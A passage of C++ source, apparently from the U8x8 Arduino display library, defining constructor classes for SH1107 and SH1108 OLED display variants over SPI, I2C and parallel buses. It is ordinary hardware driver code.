d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X80_8080 : public U8X8 {\n  public: U8X8_SH1107_128X80_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_6800 : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_8080 : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X80_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_128X80_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_128X80_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_128X80_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_128X80_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_128X80_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_TK078F288_80X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_TK078F288_80X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_128X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_128X128_6800 : public U8X8 {\n  public: U8X8_SH1107_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X128_8080 : public U8X8 {\n  public: U8X8_SH1107_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_6800 : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_8080 : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_6800 : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_8080 : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X128_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_128X128_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_128X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_PIMORONI_128X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_PIMORONI_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_SEEED_128X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_SEEED_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1108_128X160_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1108_128X160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_128X160_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1108_128X160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_128X160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1108_128X160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_128X160_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1108_128X160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1108_128X160_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1108_128X160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1108_128X160_6800 : public U8X8 {\n  public: U8X8_SH1108_128X160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_128X160_8080 : public U8X8 {\n  public: U8X8_SH1108_128X160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_128X160_SW_I2C : public U8X8 {\n  public: U8X8_SH1108_128X160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1108_128X160_HW_I2C : public U8X8 {\n  public: U8X8_SH1108_128X160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1108_128X160_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1108_128X160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1108_160X160_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1108_160X160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, 